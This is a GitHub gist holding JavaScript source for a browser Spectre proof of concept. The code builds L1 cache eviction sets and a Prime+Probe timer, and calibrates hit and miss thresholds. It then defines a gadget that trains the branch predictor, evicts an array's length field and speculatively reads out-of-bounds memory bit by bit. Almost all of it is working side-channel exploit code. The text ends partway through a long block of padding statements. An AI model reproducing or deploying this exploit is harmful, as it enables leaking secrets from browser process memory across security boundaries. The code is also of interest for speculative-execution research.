Skip to content

Instantly share code, notes, and snippets.

@cgvwzq
Created March 20, 2021 11:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cgvwzq/13b5e0fc25e473407632c768f3f3aa93 to your computer and use it in GitHub Desktop.
Save cgvwzq/13b5e0fc25e473407632c768f3f3aa93 to your computer and use it in GitHub Desktop.
_tsuro's spectrejs
const PAGE_SZ = 4096;
const CACHE_LINE_SZ = 64;
const CACHE_LINES_PER_PAGE = PAGE_SZ/CACHE_LINE_SZ;
const CACHE_WAYS = 8;
const MEM_PAGES = 8192;
const WASM = false;
class Utils {
sort(arr) {
for (let i = 0; i < arr.length; i++) {
for (let j = 0; j < arr.length-1; j++) {
if (arr[j] > arr[j+1]) {
const tmp = arr[j];
arr[j] = arr[j+1];
arr[j+1] = tmp;
}
}
}
return arr;
}
indexOfMin(arr) {
let minValue = arr[0];
let minIndex = 0;
for (let i = 0; i < arr.length; i++) {
if (arr[i] < minValue) {
minValue = arr[i];
minIndex = i;
}
}
return minIndex;
}
mean(arr) {
return arr.reduce((a,b) => a+b) / arr.length;
}
median(arr) {
arr.sort((a,b) => a-b);
return (arr.length % 2) ? arr[(arr.length / 2) | 0] : this.mean([arr[arr.length/2 - 1], arr[arr.length / 2]]);
}
mode(arr) {
var counter = {};
var mode = [];
var max = 0;
for (var i in arr) {
if (!(arr[i] in counter)) {
counter[arr[i]] = 0;
}
counter[arr[i]]++;
if (counter[arr[i]] == max) {
mode.push(arr[i]);
} else if (counter[arr[i]] > max) {
max = counter[arr[i]];
mode = [arr[i]];
}
}
return mode;
}
variance(arr) {
var x = this.mean(arr);
return arr.reduce((pre, cur) => pre + ((cur - x)**2)) / (arr.length - 1);
}
std(arr) {
return Math.sqrt(this.variance(arr));
}
}
const wasmBytes = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1a, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x11, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x02, 0x22, 0x02, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x01, 0x80, 0x40, 0x80, 0x40, 0x03, 0x65, 0x6e, 0x76, 0x0c, 0x70, 0x6c, 0x72, 0x75, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x03, 0x03, 0x02, 0x01, 0x01, 0x07, 0x2a, 0x02, 0x11, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x00, 0x01, 0x12, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x32, 0x00, 0x02, 0x0a, 0x99, 0x05, 0x02, 0xa0, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b, 0xf4, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b]);
const sum = new Uint8Array([0]);
const mem = new Uint8Array(new ArrayBuffer(MEM_PAGES * 64 * 1024));
const mom = new Uint32Array(mem.buffer);
const view = new DataView(mem.buffer);
class L1Timer {
constructor(callback) {
// Main buffer to extract eviction sets from. We assume it's page
// aligned. All indexes/pointers are used to access this memory.
// buffer
this.mem = mem;
// %DebugPrint(this.mem);
// Number of pages in buffer
this.memPages = Math.floor(this.mem.byteLength/PAGE_SZ);
// copy-on-write
for (let i = 0; i < this.mem.length; i += PAGE_SZ) {
this.mem[(i+8)] = 1;
}
// Auxiliary structures
this.usedPages = [];
// Compute pair of eviction sets:
// - clear is used to evict all previous content from the cache set
// - probe is used for the real Prime+Probe
// Q: Are associativty "clear" accesses enough? If they are all misses,
// then yes; otherwise need more, see:
// https://www.rw.cdl.uni-saarland.de/people/grund/private/papers/rts07-predictability.pdf
this.clearSets = this._generateEvSets();
this.probeSets = this._generateEvSets();
// Callback is the function that modifies the cache footprint
this.callback = callback;
if (WASM) {
// Create Wasm memory
this.memory = new WebAssembly.Memory({
initial: MEM_PAGES,
maximum: MEM_PAGES,
});
this.memPages = Math.floor(8192*64*1024)/PAGE_SZ;
// copy-on-write
const wasmU82 = new Uint8Array(this.memory.buffer);
for (let i = 0; i < wasmU82.length; i += PAGE_SZ) {
wasmU82[i+8] = 1;
}
// Instantiate Wasm module
this.wasm = new WebAssembly.Instance(new WebAssembly.Module(wasmBytes), {
env: {
mem: this.memory,
plruCallback: callback
}
});
}
// Warmup some functions
this.timeCacheSet(0);
for (let i = 0; i < 1000; i++) {
this.callback();
if (!WASM) {
this._probeJS(10, this.clearSets[0], this.probeSets[0]);
}
}
}
_oscillateTreePLRU(reps, clearSet, primeSet, probeSet) {
let x = clearSet|0;
let y = primeSet|0;
let z = probeSet|0;
// Clear cache set
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0; // x == 0
// Prime cache set
x = mom[y+x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0; // x == 0
// Victim
x = this.callback(x)|0; // x == 0
// Probe cache set using PLRU strategy (see _linkEvSetStrategy)
// Repeat to augment the signal: all hits vs. 3/4th of misses
while (reps > 0) {
// probe
// 0 1 2 4
x = mom[z+x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 3 5 6 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 7 0 1 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 2 3 5 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 6 7 0 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 1 2 3 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 5 6 7 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0; // x == probeSet+1
// twice
// 0 1 2 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 3 5 6 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 7 0 1 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 2 3 5 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 6 7 0 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 1 2 3 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
// 5 6 7 4
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0;
x = mom[x]|0; // x == probeSet+1
//
reps -= 3;
}
return x;
}
// Probe cache sets with JavaScript using linked list eviction set
_probeJS(reps, clearSet, probeSet) {
const start = performance.now();//Date.now(0);
let x = this._oscillateTreePLRU(4000, clearSet[0]/4, probeSet[0]/4, probeSet[0]/4+1, start);
const end = performance.now(x);//Date.now(x);
return end - start;
}
// Indirect eviction set works in Wasm because pointers are passed
// in registers. There's no double deref on each access.
_probeWasm(reps, clearSet, probeSet) {
const start = performance.now();
this.wasm.exports.oscillateTreePLRU2(4000,
probeSet[0],
probeSet[1],
probeSet[2],
probeSet[3],
probeSet[4],
probeSet[5],
probeSet[6],
probeSet[7],
clearSet[0],
clearSet[1],
clearSet[2],
clearSet[3],
clearSet[4],
clearSet[5],
clearSet[6],
clearSet[7]
);
const end = performance.now();
return end-start;
}
// Measure probing time
_primeAndProbeL1(clearSet, probeSet) {
// do something
if (WASM) {
return this._probeWasm(4000, clearSet, probeSet);
} else {
return this._probeJS(4000, clearSet, probeSet);
}
}
// Return page aligned pointer to random page index inside main buffer
_randomPage() {
let rnd = 0;
do {
rnd = Math.floor(Math.random() * this.memPages);
} while (this.usedPages.indexOf(rnd) > -1);
this.usedPages.push(rnd);
return PAGE_SZ * rnd;
}
// Generate L1 eviction sets: sets of addresses that are mapped into
// the same cache set (i.e., have same bits[11:6])
_generateEvSets() {
const evSets = new Array(CACHE_LINES_PER_PAGE); // 4096/64=64 lines per page
for (let i = 0; i < evSets.length; i++) {
evSets[i] = new Array(CACHE_WAYS); // L1 8-ways
}
// Pick random pages for evSet index = 0
for (let i = 0; i < evSets[0].length; i++) {
evSets[0][i] = this._randomPage();
}
// Rest of evSets are just relative to first random page
// because of linear indexing (again, set == bits[11:6]).
for (let i = 1; i < evSets.length; i++) {
for (let j = 0; j < evSets[i].length; j++) {
// Each element in the evSet array is a pointer to the
// real address that is part of the eviction set
evSets[i][j] = evSets[0][j]+i*CACHE_LINE_SZ;
}
}
return evSets;
}
// Prepare a linked list in main memory from the evSet array
// of pointers. Only expected to work from JS accessing Uint32Array,
// not from Wasm (we divide by 4).
_linkEvSet(evSet) {
// We need 32bit to access the pointers
const view = new Uint32Array(this.mem.buffer);
for (let i = 0; i < evSet.length - 1; i++) {
view[evSet[i]/4] = evSet[i+1]/4;
}
view[evSet[evSet.length-1]/4] = 0;
}
// Prepare a linked list that performs PLRU strategy.
// A 64-bytes cache line has capacity for 16 32-bit pointers.
// A_n refers to line A pointer n.
//
// 0_0 -> 1_0 -> 2_0 -> 4_0 ->
// 3_0 -> 5_0 -> 6_0 -> 4_1 ->
// 7_0 -> 0_1 -> 1_1 -> 4_2 ->
// 2_1 -> 3_1 -> 5_1 -> 4_3 ->
// 6_1 -> 7_1 -> 0_2 -> 4_4 ->
// 1_2 -> 2_2 -> 3_2 -> 4_5 ->
// 5_2 -> 6_2 -> 7_2 -> 4_6 -> 0_0
_linkEvSetStrategy(evSet) {
const view = new Uint32Array(this.mem.buffer);
// Start at pointer 1 because of normal _linkEvSet
let count = 0;
let four = 1;
let prev = 0;
// After each cycle increment offset n
for (let n = 1; n < 4; n++) {
prev = (evSet[0]/4) + n;
// console.log('0', n, evSet[0]/4 +n);
count += 1;
for (let i = 1; i < evSet.length; i++) {
if (i == 4) continue;
if ((count % 3) == 0) {
// console.log('4', four, prev, '->', (evSet[4]/4)+four);
// Point previous to 4, increment 4's offet, skip 4
prev = view[prev] = (evSet[4]/4)+four;
four += 1;
}
// console.log(i, n, prev, '->', evSet[i]/4+n);
// Point previous to next
prev = view[prev] = (evSet[i]/4)+n;
count += 1;
}
// point 7 to next 0
view[prev] = (evSet[0]/4) + n + 1;
}
// Close cycle
prev = view[prev] = (evSet[4]/4)+four;
view[prev] = (evSet[0]/4)+1;
}
// Return time of Prime+Probe on specific cache set
timeCacheSet(cacheSetIndex) {
const clearSet = this.clearSets[cacheSetIndex];
this._linkEvSet(clearSet);
const probeSet = this.probeSets[cacheSetIndex];
this._linkEvSet(probeSet);
this._linkEvSetStrategy(probeSet);
return this._primeAndProbeL1(clearSet, probeSet);
}
timeCacheSetMultiple(cacheSetIndex, n) {
const clearSet = this.clearSets[cacheSetIndex];
this._linkEvSet(clearSet);
const probeSet = this.probeSets[cacheSetIndex];
this._linkEvSet(probeSet);
this._linkEvSetStrategy(probeSet);
const timing = [];
for (let i=0; i<n; i++) {
timing.push(this._primeAndProbeL1(clearSet, probeSet));
}
return new Utils().mean(timing);
}
}
// ToDo: do not rely on aligned memory
const alignedMemory = new Uint8Array(new WebAssembly.Memory({
initial:1,
maximum:1
}).buffer);
alignedMemory[8] = 1;
function calibrate(){
// Victim function: access accessArgs pointer in victim buffer (not main buffer)
// trash only used to create virtual data dependency
const accessArgs = new Uint32Array([0]);
function accessPage(trash) {
const pageOffset = accessArgs[0]|0;
return alignedMemory[pageOffset+trash*0];
}
// Start profiling
const utils = new Utils();
const benchmark = new L1Timer(accessPage);
// Measure Prime+Probe time for all sets, we want to identify a fast one that
// is not affected by side-accesses caused by accessPage()
const cacheSetTimings = new Array(CACHE_LINES_PER_PAGE);
for (let set = 0; set < CACHE_LINES_PER_PAGE; set ++) {
cacheSetTimings[set] = benchmark.timeCacheSet(set);
} const fastSet = utils.indexOfMin(cacheSetTimings);
console.log('Fastest set: ' + fastSet);
const testReps = 60;
const hits = new Array(testReps);
const misses = new Array(testReps);
// Offset that touches the fastSet set, will actually produce misses
const hitOffset = fastSet*CACHE_LINE_SZ;
// Offset far away form fastSet, will actually produce hits
const missOffset = (hitOffset + PAGE_SZ/2) % PAGE_SZ;
// Run tests
/*
accessArgs[0] = hitOffset;
const hitsMean = benchmark.timeCacheSetMultiple(fastSet, testReps);
accessArgs[0] = missOffset;
const missMean = benchmark.timeCacheSetMultiple(fastSet, testReps);
*/
for (let i = 0; i < testReps; i++) {
accessArgs[0] = hitOffset;
hits[i] = benchmark.timeCacheSet(fastSet);
accessArgs[0] = missOffset
misses[i] = benchmark.timeCacheSet(fastSet);
}
// Analyse results to extract threshold
let cacheHits = utils.sort(hits);
let cacheMisses = utils.sort(misses);
// Discard outliers
cacheHits = cacheHits.slice(0, Math.floor(cacheHits.length*0.98));
cacheMisses = cacheMisses.slice(0, Math.floor(cacheMisses.length*0.98));
// Get stats
const hitsMedian = utils.median(cacheHits);
const missMedian = utils.median(cacheMisses);
const hitsMean = utils.mean(cacheHits);
const missMean = utils.mean(cacheMisses);
const hitsMode = utils.mode(cacheHits);
const missMode = utils.mode(cacheMisses);
const hitsStd = utils.std(cacheHits);
const missStd = utils.std(cacheMisses);
console.log('Hit:', 'mean='+hitsMean, 'median='+hitsMedian, 'mode='+hitsMode, 'std='+hitsStd);
console.log('Miss:', 'mean='+missMean, 'median='+missMedian, 'mode='+missMode, 'std='+missStd);
console.log(hitsMean, missMean);
if (hitsMean > missMean) {
const threshold = missMean + ((hitsMean - missMean)/2);
console.log('threshold: ' + threshold);
return threshold;
} else {
console.log('meh');
}
}
const threshold = calibrate();
if (!threshold) quit();
quit();
function triggerGC() {
for (let i = 0; i < 50; i++) {
new ArrayBuffer(1024*1024);
}
}
const typedArrays = new Array(64);
typedArrays.fill(Object);
triggerGC();
// TODO: this can be a prefilled array
const leakMe = [];
for (let i = 0; i < 554; i++) {
leakMe[i] = 0;
}
triggerGC();
for (let i = 0; i < typedArrays.length; i++) {
typedArrays[i] = new Uint8Array(0x20);
triggerGC();
}
triggerGC();
const accessLeakMeArgs = new Uint32Array([0]);
function accessLeakMe(trash) {
const offset = accessLeakMeArgs[0] | 0;
return leakMe[offset+trash];
}
const leakMeTimer = new L1Timer(accessLeakMe);
function leakMeTestSet(offset, set) {
//let tests = new Array(testReps);
accessLeakMeArgs[0] = offset;
/*
for (let i = 0; i < testReps; i++) {
tests[i] = leakMeTimer.timeCacheSet(set);
}
let mean = new Utils().mean(tests);
*/
let mean = leakMeTimer.timeCacheSetMultiple(set, testReps);
return mean > threshold;
}
const elementSize = 4;
const elementsPerCacheLine = CACHE_LINE_SZ/elementSize;
const testElementCount = 48;
const testReps = 60;
const cacheHits = new Array(testElementCount);
for (let i = 0; i < cacheHits.length; i++) {
cacheHits[i] = new Array(CACHE_LINES_PER_PAGE);
for (let j = 0; j < cacheHits[i].length; j++) {
cacheHits[i][j] = 0;
}
}
for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) {
console.log(set);
for (let elementIndex = 0; elementIndex < testElementCount; elementIndex++) {
if (leakMeTestSet(elementIndex, set)) {
cacheHits[elementIndex][set] += 1;
}
}
}
function previousCacheSet(cacheSet) {
return (CACHE_LINES_PER_PAGE+cacheSet-1) % CACHE_LINES_PER_PAGE;
}
// Find all clear transitions from one cache set to the next.
// I.e. it should look like:
// hit | miss
// -----+-----
// miss | hit
function* findTransitions() {
let offset = elementsPerCacheLine;
// need at least 16 elements to the bottom
while (offset <= cacheHits.length - elementsPerCacheLine) {
for (let cacheSet = 0; cacheSet < CACHE_LINES_PER_PAGE; cacheSet++) {
const prevCacheSet = previousCacheSet(cacheSet);
if (cacheHits[offset][cacheSet] != testReps) continue;
if (cacheHits[offset-1][prevCacheSet] != testReps) continue;
if (cacheHits[offset-1][cacheSet] != 0) continue;
if (cacheHits[offset][prevCacheSet] != 0) continue;
yield [offset, cacheSet];
}
offset++;
}
}
// The algorithm is very simple, try to find runs of cache set hit that
// transition from one cache set to the next. I.e. if we iterate over the array
// elements, we expect 16 hits on cacheSet n, followed by 16 hits on n+1.
function inferCacheAlignment(falsePositiveThreshold, falseNegativeThreshold) {
for (const [transitionOffset, transitionCacheSet] of findTransitions()) {
const prevCacheSet = previousCacheSet(transitionCacheSet);
const startOffset = transitionOffset - elementsPerCacheLine;
const maxHitCount = 2 * elementsPerCacheLine * testReps;
let hitCount = 0;
let wrongHitCount = 0;
for (let i = 0; i < elementsPerCacheLine; i++) {
hitCount += cacheHits[startOffset+i][prevCacheSet];
hitCount += cacheHits[transitionOffset+i][transitionCacheSet];
wrongHitCount += cacheHits[startOffset+i][transitionCacheSet];
wrongHitCount += cacheHits[transitionOffset+i][prevCacheSet];
}
if (hitCount/maxHitCount >= (1-falseNegativeThreshold)
&& wrongHitCount/maxHitCount < falsePositiveThreshold) {
return [true, startOffset, prevCacheSet];
}
}
return [false, -1, -1];
}
const [leakSuccess, alignedIndex, inferredCacheSet] = inferCacheAlignment(0.20, 0.05);
console.log(leakSuccess, alignedIndex, inferredCacheSet);
// Spectre stuff
const kEndMarker = 0xffffffff;
const kWasmPageSize = 64*1024;
class EvictionList {
constructor(initialSize, offset) {
const memorySize = initialSize*PAGE_SZ;
this.memory = new DataView(new WebAssembly.Memory({initial: Math.ceil(memorySize/kWasmPageSize)}).buffer);
this.head = offset;
for (let i = 0; i < initialSize-1; i++) {
this.memory.setUint32(i*PAGE_SZ+offset, (i+1)*PAGE_SZ+offset, true);
}
this.tail = (initialSize-1)*PAGE_SZ+offset;
this.memory.setUint32(this.tail, kEndMarker, true);
this.length = initialSize;
}
traverse() {
let e = this.head;
while (e != kEndMarker) {
e = this.memory.getUint32(e, true);
}
return e;
}
}
const ERR_MEM_LAYOUT = 0;
const ERR_U8_ALIGN = 1;
const ERR_NO_41 = 2;
function sleep(ms) {
return new Promise(r=>setTimeout(r, ms));
}
function alignedArrayBuffer(sz) {
const wasm_pages = Math.ceil(sz/(64*1024));
return new WebAssembly.Memory({initial: wasm_pages, maximum: wasm_pages}).buffer
}
const probeArray = new Uint8Array(alignedArrayBuffer(PAGE_SZ));
probeArray[0] = 1;
const spectreArgs = new Uint32Array([0, 0, 0]);
function spectreGadget(trash) {
// We want to access as little memory as possible to avoid false positives.
// Putting arguments in a global array seems to work better than passing them
// as parameters.
const idx = spectreArgs[0]|0;
const bit = spectreArgs[1]|0;
const waaaaaat = spectreArgs[2]|0;
// Add a loop to control the state of the branch predictor
// I.e. we want the last n branches taken/not taken to be consistent
for (let i = 0; i < 200; i++);
// idx will be out of bounds during speculation
// if the bit is zero, we access cache line 0 of the probe array otherwise
// 0x800 (cache line 32)
return probeArray[idx < spectreArray.length ? ((spectreArray[idx]>>bit)&1)*0x800 : 0x400];
}
function testBit(evictionList, offset, bit, bitValue, noopt = true) {
spectreArgs[0] = 0;
spectreArgs[1] = 0;
// Run the gadget twice to train the branch predictor.
for (let j = 0; j < 2; j++) {
spectreGadget();
}
// Try to evict the length field of our array from memory, so that we can
// speculate over the length check.
evictionList.traverse();
spectreArgs[0] = offset;
spectreArgs[1] = bit;
// In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1.
// const timing = spectreTimer.timeCacheSetMultiple(bitValue == 1 ? 32 : 0, 10);
const timing = spectreTimer.timeCacheSet(bitValue == 1 ? 32 : 0);
if (timing > threshold) {
return true;
} else if (noopt) {
return false;
}
// This is never reached, but the compiler doesn't know.
// The gadget breaks if this function gets optimized. So we add garbage
// instructions to blow up the byte code size and disable optimization.
let foo = 0; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; foo++; 